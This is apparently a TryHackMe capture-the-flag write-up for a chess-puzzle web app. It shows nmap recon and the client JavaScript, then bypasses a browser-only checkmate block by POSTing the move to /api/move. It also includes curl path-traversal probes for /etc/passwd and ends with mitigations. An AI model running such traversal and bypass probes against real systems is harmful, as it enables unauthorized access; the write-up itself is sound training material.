> For the complete documentation index, see [llms.txt](https://0xyogesh.gitbook.io/exploitnotes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xyogesh.gitbook.io/exploitnotes/writeups/tryhackme/foolmate-writeup.md). Agents can also search and read this documentation through its [MCP server](https://0xyogesh.gitbook.io/exploitnotes/~gitbook/mcp).

# FoolMate Writeup

Endgame Trainer is a small web app that presents a “mate-in-one” chess puzzle. The board is legitimate and built on the `chess.js` library, but the app includes a gimmick: playing the winning move triggers a fake system dialog threatening to “shut down your PC” instead of allowing the win.

That restriction exists only in the front-end JavaScript. The move itself is validated and executed by a backend API endpoint, `/api/move`, which does not enforce the UI restriction. Sending the winning move (`a1a8`, delivering checkmate) directly to the API with `curl` bypasses the client-side gate and returns the flag in the JSON response.

A relative-path request also exposed the raw `chess.js` source from a directory not intended to be reachable, confirming how the client-side move validation worked and that it could be bypassed server-side.

Box IP referred to below as `machine-ip`.

## Recon

### Nmap

```bash
nmap -A -Pn machine-ip -o nmap
```

<details>

<summary>Nmap output</summary>

```
Starting Nmap 7.98 ( https://nmap.org ) at 2026-07-21 11:56 -0400
Nmap scan report for machine-ip
Host is up (0.038s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 a8:1e:0e:a0:5f:74:77:25:d5:0f:11:98:56:9e:b0:ed (ECDSA)
|_  256 dd:84:d1:e8:ee:c2:69:30:cb:0c:1a:43:58:d4:45:d1 (ED25519)
80/tcp open  http    Node.js Express framework
|_http-title: Endgame Trainer
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).

Network Distance: 3 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 21/tcp)
HOP RTT      ADDRESS
1   37.15 ms 192.168.128.1
2   ...
3   38.04 ms machine-ip

Nmap done: 1 IP address (1 host up) scanned in 24.49 seconds
```

</details>

Two open ports were identified:

* SSH on port 22, which was not the focus.
* An Express-based HTTP service on port 80 titled “Endgame Trainer.”

### Checking out the web app

```bash
curl http://machine-ip/
```

<details>

<summary>Page source</summary>

```html
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8" />
  <meta name="viewport" content="width=device-width, initial-scale=1.0" />
  <title>Endgame Trainer</title>
  <link rel="icon" href="data:," />
  <link rel="stylesheet" href="css/styles.css" />
</head>
<body>
  <div class="app">
    <header class="topbar">
      <div class="brand">
        <span class="brand-mark">&#9820;</span>
        <span class="brand-name">Endgame<span class="brand-accent">Trainer</span></span>
      </div>
      <div class="topbar-tag">Mate-in-one &middot; White to move</div>
    </header>
    <main class="layout">
      <section class="board-wrap">
        <div class="ranks" id="ranks"></div>
        <div class="files" id="files"></div>
        <div class="board" id="board" aria-label="Chess board"></div>
      </section>
      <aside class="panel">
        <div class="panel-card status-card">
          <div class="status-row">
            <span class="dot" id="turnDot"></span>
            <span id="statusText">White to move</span>
          </div>
          <div class="flag-banner" id="flagBanner" hidden></div>
        </div>
        ...
      </aside>
    </main>
  </div>

  <div class="modal-overlay" id="modalOverlay" hidden>
    <div class="win-dialog" role="alertdialog" aria-modal="true">
      <div class="win-titlebar">
        <span class="win-title" id="winTitle">/usr/lib32</span>
        <span class="win-controls"><span class="win-x">&times;</span></span>
      </div>
      <div class="win-body">
        <div class="win-message" id="winMessage">I'll shut down your PC if you play that.</div>
      </div>
      <div class="win-buttons">
        <button class="win-btn" id="winOk">OK</button>
      </div>
    </div>
  </div>

  <script type="module" src="js/app.js"></script>
</body>
</html>
```

</details>

The page is a chessboard UI starting from a mate-in-one position:

```
6k1/5ppp/8/8/8/8/5PPP/R5K1 w - - 0 1
```

White has a rook on `a1`, while the black king is boxed in on `g8`. The interface is framed as a joke: attempting the actual mating move shows a fake system dialog rather than a win.

This suggests that the “you cannot play that” logic is being enforced client-side.

### Reading the client logic

```bash
curl http://machine-ip/js/app.js
```

<details>

<summary>Key excerpt from app.js</summary>

```javascript
import { Chess } from '../vendor/chess.js';

const START_FEN = '6k1/5ppp/8/8/8/8/5PPP/R5K1 w - - 0 1';
...
function preMoveCheck(from, to, promotion) {
  const probe = new Chess(game.fen());
  let result;
  try {
    result = probe.move({ from, to, promotion: promotion || undefined });
  } catch (e) {
    result = null;
  }
  if (result && probe.isCheckmate()) {
    showSystemNotice("I'll shut down your PC if you play that.");
    return false;
  }
  return true;
}

function doMove(from, to) {
  if (!isLegalTarget(from, to)) return false;
  const promotion = needsPromotion(from, to) ? 'q' : undefined;
  if (!preMoveCheck(from, to, promotion)) {
    setElPos(els[from], from, true);
    return true;
  }
  toast(SMUG[Math.floor(Math.random() * SMUG.length)]);
  sendMove(from, to, promotion);
  return true;
}

async function sendMove(from, to, promotion) {
  locked = true;
  let data;
  try {
    const res = await fetch('/api/move', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ from, to, promotion: promotion || undefined })
    });
    data = await res.json();
  } catch (e) { ... }
  ...
}
```

</details>

`preMoveCheck()` creates a local, temporary chess engine instance and tests the move selected by the player. If the move produces checkmate, the front end refuses to call `sendMove()` and displays the fake “shut down your PC” popup.

The check does not touch the server.

Actual move submission occurs through:

```javascript
fetch('/api/move', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({ from, to, promotion: promotion || undefined })
});
```

The endpoint accepts a straightforward JSON POST containing `from`, `to`, and optionally `promotion`, making the request replayable outside the browser.

### Confirming the library and a stray path traversal

```bash
curl http://machine-ip/../vendor/chess.js
```

<details>

<summary>Excerpt from chess.js</summary>

```javascript
/**
 * @license
 * Copyright (c) 2025, Jeff Hlywa (jhlywa@gmail.com)
 * ...
 */
export const WHITE = 'w';
export const BLACK = 'b';
...
export class Chess {
  ...
  isCheckmate() {
    return this.isCheck() && this._moves().length === 0;
  }
  ...
}
```

</details>

Requesting `/../vendor/chess.js` returned the full, unminified `chess.js` source from outside the intended web root. This confirmed the exact client-side validation logic and showed that the static file handler did not strictly confine requests to its public directory.

Attempts to extend the traversal to system files failed:

```bash
curl http://machine-ip/../../etc/passwd
curl http://machine-ip/../../../../../etc/passwd
```

<details>

<summary>Output from both attempts</summary>

```html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Cannot GET /etc/passwd</pre>
</body>
</html>
```

</details>

The traversal reaching `vendor/` appeared to be a one-off consequence of the static root’s structure rather than a fully open arbitrary file-read vulnerability.

## Exploitation: bypassing the client-side checkmate gate

Because `preMoveCheck()` is purely cosmetic and `/api/move` is an unauthenticated JSON endpoint, the winning move can be submitted directly to the server.

{% stepper %}
{% step %}

## Obtain a session cookie

The app tracks board state server-side per session.

```bash
curl -s -c cookies.txt http://machine-ip/ -o /dev/null
```

{% endstep %}

{% step %}

## Submit the winning move directly

Move the rook from `a1` to `a8`, delivering checkmate to the black king on `g8`.

```bash
curl -s -b cookies.txt -X POST http://machine-ip/api/move \
  -H "Content-Type: application/json" \
  -d '{"from":"a1","to":"a8"}'
```

{% endstep %}
{% endstepper %}

<details>

<summary>Response</summary>

```json
{"ok":true,"move":"a1a8","fen":"R5k1/5ppp/8/8/5PPP/6K1 b - - 1 1","status":"checkmate","turn":"b","winner":"white","flag":"[REDACTED]"}
```

</details>

The server independently validated the move using `chess.js`, recognized the resulting checkmate, and returned the flag in the JSON response. No browser interaction, popup, or client-side restriction was involved.

## Key vulnerabilities

1. **Client-side-only enforcement of a security and game-logic boundary**

   The application’s intended restriction—preventing the winning move—was enforced exclusively in front-end JavaScript through `preMoveCheck()`.

   The backend `/api/move` endpoint accepted and executed the same move without checking whether the UI was supposed to allow it. The restriction could therefore be bypassed by interacting directly with the API.
2. **Minor path traversal in static file serving**

   A request for `/../vendor/chess.js` escaped the intended public directory and returned source code that was not intended to be directly reachable.

   Testing did not demonstrate arbitrary filesystem reads, but the behavior still represents an information-disclosure weakness in static asset routing.

## Attack chain

{% stepper %}
{% step %}

## Identify exposed services

Nmap identifies an Express/Node web application on port 80 alongside SSH.
{% endstep %}

{% step %}

## Observe the puzzle behavior

The web page presents a mate-in-one chess puzzle and blocks the winning move with a fake pop-up.
{% endstep %}

{% step %}

## Inspect the client-side JavaScript

Reading `/js/app.js` reveals that `preMoveCheck()` performs the checkmate block locally, while actual moves are sent to `/api/move` through a JSON POST request.
{% endstep %}

{% step %}

## Confirm the chess engine and static-file weakness

A relative-path request to `/../vendor/chess.js` exposes the chess engine source and confirms that the static file handler does not fully confine paths to its configured root.
{% endstep %}

{% step %}

## Bypass the client-side gate

Obtain a session cookie and submit the winning move from `a1` to `a8` directly to `/api/move`.

The server validates the move as checkmate and returns the flag.
{% endstep %}
{% endstepper %}

## Mitigations

* Enforce all game and business logic rules server-side. Client-side checks should provide UX feedback only and must never serve as the actual security or logic boundary.
* Treat every client-supplied move or action as untrusted input. The server-side `chess.js` instance should be the sole source of truth for move legality, and any application-specific restriction must be enforced in that same trusted layer.
* Lock down static file serving so relative paths such as `../` cannot escape the configured public directory. Resolve and validate paths against an allow-listed root rather than relying on default traversal protections.
* Avoid placing unnecessary source or library files in locations that may be reachable through static serving or directory traversal. Keep vendor and build directories outside the web server’s exposed paths.
